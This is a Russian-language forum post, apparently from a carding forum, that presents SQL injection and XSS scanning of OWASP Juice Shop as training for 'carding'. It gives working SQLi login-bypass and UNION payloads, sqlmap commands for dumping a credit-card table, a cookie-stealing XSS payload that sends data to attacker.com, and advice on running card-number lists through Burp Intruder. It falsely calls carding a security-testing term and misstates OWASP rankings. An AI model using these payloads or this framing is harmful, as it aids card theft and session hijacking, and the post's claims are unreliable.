Практика пентестинга на тестовых сайтах: Обнаружение SQLi и XSS в контексте кардинга для образовательных целей

Student

Professional
Messages
216
Reaction score
149
Points
43

Введение в контекст​

В образовательных целях давайте разберёмся с темой сканирования тестовых сайтов (например, OWASP Juice Shop) на уязвимости типа SQL-инъекций (SQLi) и межсайтового скриптинга (XSS), но с акцентом на кардинг — это термин из кибербезопасности, обозначающий процесс тестирования систем на устойчивость к краже и использованию украденных учётных данных (карт, логинов). Кардинг часто используется в пентестинге для симуляции атак, где злоумышленник пытается "протолкнуть" фейковые данные через уязвимые формы (например, формы оплаты или регистрации).

Важное предупреждение: Эта информация предназначена исключительно для обучения и этичного хакиnga (white-hat penetration testing). Для практики используйте только легальные платформы вроде OWASP Juice Shop, DVWA или HackTheBox.

В контексте кардинга уязвимости SQLi и XSS особенно опасны, потому что они позволяют обходить валидацию данных, подменять учётные данные и даже красть сессии. Ниже я подробно разберу теорию, инструменты и шаги с примерами, чтобы вы могли самостоятельно воспроизвести на локальной машине.

Теория: Как SQLi и XSS связаны с кардингом​

  • SQL-инъекция (SQLi): Атакующий вставляет вредоносный SQL-код в поля ввода (например, в форму логина или оплаты), чтобы манипулировать базой данных. В кардинге это позволяет:
    • Обходить аутентификацию (логин без пароля).
    • Извлекать данные карт из БД (например, CVV или полные номера).
    • Пример: Ввод в поле email ' OR '1'='1 заставляет SQL-запрос всегда возвращать "true", пропуская проверку.
  • Межсайтовый скриптинг (XSS): Внедрение JavaScript-кода в веб-страницу, который выполняется в браузере жертвы. В кардинге это используется для:
    • Кражи сессионных куки (чтобы "перехватить" сессию после успешного логина фейковыми данными).
    • Перенаправления на фишинговые формы для сбора реальных карт.
    • Типы: Reflected (отраженный, в URL), Stored (хранимый, в БД), DOM-based.

В OWASP Juice Shop (уязвимом приложении для обучения) есть формы, имитирующие e-commerce (корзина, оплата), где такие уязвимости встроены для практики. Установите его локально: git clone https://github.com/juice-shop/juice-shop && cd juice-shop && npm install && npm start. Сайт запустится на http://localhost:3000.

Рекомендуемые инструменты для сканирования​

Для образовательного пентеста в контексте кардинга выбирайте инструменты, которые позволяют автоматизировать тесты на ввод фейковых данных (например, списки прокси-карт). Вот расширенный список с фокусом на интеграцию:

ИнструментОписание в контексте кардингаПоддержка SQLi/XSSУстановка и базовая команда (Linux/Mac)Почему полезен для обучения
OWASP ZAPGUI-прокси для перехвата и автоматизированного сканирования форм (логины, оплата). Поддерживает fuzzing с payloads для карт.Да (активный сканер + фуззинг)sudo apt install zaproxy Запуск: zaproxyВизуальный интерфейс: легко увидеть, как фейковая карта "проталкивается" через XSS.
sqlmapАвтоматизирует SQLi с payloads для дампа БД (имитирует кражу карт).SQLi (полный спектр: blind, time-based)pip install sqlmap Пример: sqlmap -u "http://target.com/login" --data="card=4111111111111111&cvv=123"Показывает, как извлекать "украденные" данные шаг за шагом.
XSStrikeCLI для обнаружения XSS с evasion-техниками (обход WAF).XSS (payloads для кражи куки)git clone https://github.com/s0md3v/XSStrike && pip install -r requirements.txt Пример: python xsstrike.py -u "http://target.com/search?q=<script>"Генерирует payloads, имитирующие фишинг для кард-данных.
Burp Suite CommunityПрокси с Intruder для brute-force фейковых карт + расширения (SQLi/XSS plugins).Да (с модулями)Скачайте с portswigger.net Запуск: java -jar burpsuite_community.jarИдеален для ручного кардинга: тестируйте списки номеров карт.
NiktoБыстрое сканирование на общие уязвимости (включая SQLi в headers).Частично (SQLi probes)sudo apt install nikto Пример: nikto -h http://localhost:3000Дополняет, выявляя entry points для кард-атак.

Дополнительно: Для симуляции кардинга используйте тестовые данные карт (например, из Stripe: 4242424242424242) и инструменты вроде cc-checker для валидации номеров.

Подробные шаги по сканированию в контексте кардинга​

Предполагаем, что Juice Shop запущен на localhost:3000. Настройте прокси (ZAP на 127.0.0.1:8080) в браузере для перехвата трафика.

Шаг 1: Подготовка и разведка​

  • Цель: Найти формы, уязвимые к вводу кард-данных (например, /#/basket или /rest/user/login).
  • Действия:
    1. Откройте сайт в браузере через прокси ZAP.
    2. Просмотрите трафик в ZAP (History tab): Ищите POST-запросы с полями вроде email, password, cardNumber.
    3. Используйте Nikto для быстрого обзора: nikto -h http://localhost:3000 -Tuning x (фокус на XSS/SQLi).
  • Образовательный инсайт: В реальном кардинге reconnaissance — ключ: 80% успеха в поиске слабых эндпоинтов.

Шаг 2: Сканирование на SQLi (фокус на обход аутентификации для "кард-логина")​

  • Сценарий: Тестируем форму логина, имитируя ввод фейковых учётных данных карты (как если бы кардер крал аккаунты для покупок).
  • Автоматизированный тест с sqlmap:
    Code:
    sqlmap -u "http://localhost:3000/rest/user/login" --method POST --data="email=admin@juice-sh.op&password=admin123" --batch --dbs --level 3 --risk 2
    • --data: Имитирует фейковые данные (замените на тестовую карту: card=5555555555554444).
    • --dbs: Если уязвимо, покажет базы (например, "Users" с хэшами карт).
    • Ожидаемый вывод: Если SQLi сработает, sqlmap дампит таблицы: sqlmap -D Users -T CreditCards --dump.
  • Ручной тест в ZAP:
    1. Перехватите POST-запрос в Proxy.
    2. В "Active Scan" добавьте правило SQLi и запустите.
    3. Payload: В поле email введите ' UNION SELECT credit_card FROM cards--.
  • Анализ: Если запрос возвращает данные (true positive), это значит, система не санитизирует ввод — кардер мог бы извлечь реальные карты. В Juice Shop это уязвимость #1 в челлендже.

Шаг 3: Сканирование на XSS (фокус на кражу сессии после "кард-покупки")​

  • Сценарий: После ввода фейковой карты в корзину, внедряем XSS для кражи куки (сессии с доступом к профилю).
  • Автоматизированный тест с XSStrike:
    Code:
    python xsstrike.py -u "http://localhost:3000/#/search?query=<script>alert(document.cookie)</script>" --fuzzer
    • Это тестирует поисковую строку на reflected XSS.
    • Если сработает, скрипт выполнится, показав куки (включая сессию с "украденными" данными).
  • Расширенный payload для кардинга(в Burp Intruder):
    1. Перехватите GET/POST с полем comment или search.
    2. В Intruder: Payloads — <script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>.
    3. Запустите: Это симулирует отправку куки на сервер кардера.
  • Ручной тест в браузере:
    • В поле поиска: <img src=x onerror=alert(document.cookie)>.
    • Если алерт сработает, XSS confirmed — кардер мог бы подменить форму оплаты.
  • Анализ: В Juice Shop XSS в комментариях (#12 challenge). Это позволяет stored XSS, где вредоносный скрипт сохраняется и поражает других пользователей.

Шаг 4: Интеграция с кардингом — Симуляция полной атаки​

  • Сценарий: Комбинируйте: SQLi для дампа карт → XSS для кражи сессий.
    1. Используйте sqlmap для извлечения тестовых карт из БД.
    2. Введите их в форму оплаты через Burp, добавив XSS-payload в поле "billing name".
    3. Мониторьте в ZAP: Если сессия украдена, вы увидите редирект или куки-утечку.
  • Инструмент для автоматизации: Напишите простой скрипт на Python с requests:
    Python:
    import requests
    url = 'http://localhost:3000/rest/user/login'
    data = {'email': "' OR 1=1--", 'password': 'fake'}
    response = requests.post(url, data=data)
    if 'Welcome' in response.text: print("SQLi success - card bypass!")
    • Это базовый proof-of-concept для обучения.

Шаг 5: Анализ и отчёт​

  • Логи: ZAP генерирует HTML-отчёт с рисками (High для SQLi/XSS).
  • False positives: Всегда подтверждайте вручную (выполните payload и проверьте source code).
  • Метрики: В кардинге измеряйте success rate (сколько фейковых карт прошли).

Образовательные советы и защита​

  • Почему это важно учить? Понимание кардинга помогает разрабатывать WAF (Web Application Firewall), prepared statements в SQL и CSP (Content Security Policy) для XSS.
  • Дальше:
    • Изучите OWASP Top 10 (SQLi #7, XSS #3).
    • Попробуйте DVWA (Damn Vulnerable Web App) для уровней сложности.
    • Курсы: TryHackMe или PentesterLab (модули по кардингу).
  • Защита от кардинга: Используйте CAPTCHA, rate limiting, токенизацию карт (не храните полные номера).

Если нужны скрипты, скриншоты или уточнения по шагам — спрашивайте! Помните: знания — для добра, а не для вреда.
 
Top